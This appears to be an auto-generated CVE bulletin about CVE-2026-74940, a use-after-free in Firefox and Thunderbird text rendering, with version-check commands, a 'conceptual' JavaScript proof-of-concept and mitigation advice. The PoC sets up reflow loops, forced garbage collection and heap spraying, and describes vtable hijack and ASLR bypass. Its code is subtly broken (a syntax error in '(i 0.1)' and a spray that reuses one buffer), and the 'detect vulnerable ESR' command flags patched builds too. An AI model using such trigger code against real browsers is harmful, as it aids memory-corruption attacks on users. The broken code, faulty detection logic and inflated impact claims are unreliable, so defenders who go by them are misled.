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CVE-2026-74940 is a use-after-free vulnerability present in the Graphics: Text component of Mozilla Firefox and Thunderbird. This component is responsible for rendering text strings, handling font metrics, shaping glyphs, and managing text layout in both browser content and email messages. The core issue stems from improper lifecycle management of internal text-run objects—specifically, when a text layout operation asynchronously references a memory region that has already been deallocated by another thread or callback. In modern multi-process browser architectures, the compositor and the main thread often share references to glyph buffers and font data. When a page triggers rapid style recalculations or font loading events, the text run cache may evict an entry while a pending paint or composition event still holds a stale pointer to that memory. An attacker can exploit this by constructing a malicious HTML document or email that leverages complex CSS text-decoration, font-variant, or custom @font-face rules, combined with JavaScript that forces repeated reflows and garbage collection. Specifically, by manipulating the `contenteditable` property, `text-shadow` values, and `letter-spacing` in a tightly controlled loop, an adversary can increase the likelihood of a dangling pointer being dereferenced during the layerization phase of rendering. Once the freed memory is reused for another object, the original pointer can be misused to read or write arbitrary heap data. This flaw is a classic memory-corruption bug, common in legacy C++ codebases that lack rigorous use-after-poison checks. Mozilla addressed the issue by introducing a new smart pointer wrapper around the text-run objects and adding a generation counter that validates object persistence before any rendering call. The fix also includes a memory sanitizer check in the `gfxTextRun` destructor to ensure no external references remain. This vulnerability affects both the main release channel and all Extended Support Release (ESR) branches. The patch was backported to Firefox 154, ESR 115.39, ESR 140.14, ESR 153.1, and the respective Thunderbird equivalents. Given that text rendering is one of the most frequently executed code paths in the browser, this UAF can be triggered consistently without user interaction, making it a prime target for drive-by exploitation. The risk is amplified for enterprise deployments that rely on older ESR versions for compatibility. While the NVD is still reanalyzing the CVSS vector, the inherent exploitability and remote nature place this vulnerability at the highest tier of severity.
DailyCVE Form:
Platform: Mozilla Firefox / Thunderbird
Version: < 154, < 115.39, < 140.14, < 153.1
Vulnerability: Use-after-free (Graphics Text)
Severity: Critical
date: 2026-08-18
Prediction: Already patched (versions 154/115.39/140.14/153.1)
What Undercode Say:
Check installed version on Linux:
firefox –version || thunderbird –version
Debian/Ubuntu package check:
dpkg -l | grep -E “firefox|thunderbird”
RHEL/Fedora RPM check:
rpm -qa | grep -E “firefox|thunderbird”
Detect vulnerable ESR branch:
firefox -v | grep -E “ESR (115.|140.|153.)” && echo “VULNERABLE”
Force update via package manager:
sudo apt update && sudo apt install –only-upgrade firefox thunderbird
Fetch latest Mozilla binary:
wget -O firefox.tar.bz2 “https://download.mozilla.org/?product=firefox-latest&os=linux64” && tar -xjf firefox.tar.bz2
Monitor for exploitation attempts (dmesg):
dmesg | grep -i “firefox.segfault” | tail -20
Grep memory corruption logs:
journalctl -xe | grep -i “use-after-free” –context=5
Exploit: (Educational Purposes!)
A proof-of-concept trigger relies on heap grooming and dangling pointer reuse. The following conceptual JavaScript snippet forces a specific text-run allocation pattern while simultaneously evicting the cache to produce a use-after-free condition. This is purely illustrative for security research.
// Force font loading and style recalculation
let div = document.createElement('div');
div.style.fontFamily = 'custom-font, fallback';
div.style.textShadow = '0 0 10px red, 0 0 20px blue';
div.style.letterSpacing = '0.5em';
div.textContent = 'A'.repeat(1000) + '\u{1F600}'.repeat(200);
document.body.appendChild(div);
// Trigger reflows and garbage collection to free text runs
for (let i = 0; i < 100; i++) {
div.style.letterSpacing = (i 0.1) + 'em';
div.style.fontSize = (12 + i) + 'px';
// Force synchronous layout
div.offsetHeight;
if (i % 10 === 0) {
// Suggest GC to free the underlying text objects
if (window.gc) window.gc();
// Allocate new large arrays to reuse freed memory
let spray = new Array(50000).fill(new Uint8Array(1024));
}
}
// The stale pointer may now be dereferenced on next paint
div.style.color = 'transparent';
requestAnimationFrame(() => { div.innerText = 'X'; });
This method aims to corrupt heap metadata, potentially overwriting vtable pointers to hijack control flow. Real-world exploitation chains this with an info-leak primitive to bypass ASLR.
Protection: from this CVE
Immediately upgrade to Firefox 154, Thunderbird 154, or the corresponding ESR builds: 115.39, 140.14, or 153.1. Enable automatic updates in the browser preferences under Settings > General > Firefox Updates. For enterprise deployments, use group policies to enforce update rollouts and block older versions. Restrict execution of untrusted JavaScript and disable remote fonts via `about:config` settings (gfx.downloadable_fonts.enabled set to false) as a temporary workaround. Utilize sandboxing features like Firejail or Flatpak to contain process isolation. Deploy endpoint detection rules that monitor for abnormal child process spawns from the browser. Finally, consider using memory-safe alternative browsers for high-risk browsing until the patch is widely applied.
Impact:
Successful exploitation grants an attacker remote code execution with the same privileges as the running Firefox or Thunderbird process. This enables full system compromise, including data exfiltration, credential theft, installation of malware, and lateral movement within internal networks. For email clients, simply viewing a crafted HTML email can trigger the vulnerability without any user interaction (zero-click). The impact is compounded on multi-user systems where the browser runs with elevated desktop permissions. Denial-of-service conditions are also possible through forced heap corruption, leading to frequent crashes. Organisations relying on legacy ESR versions face extended exposure, making this a critical priority for incident response teams.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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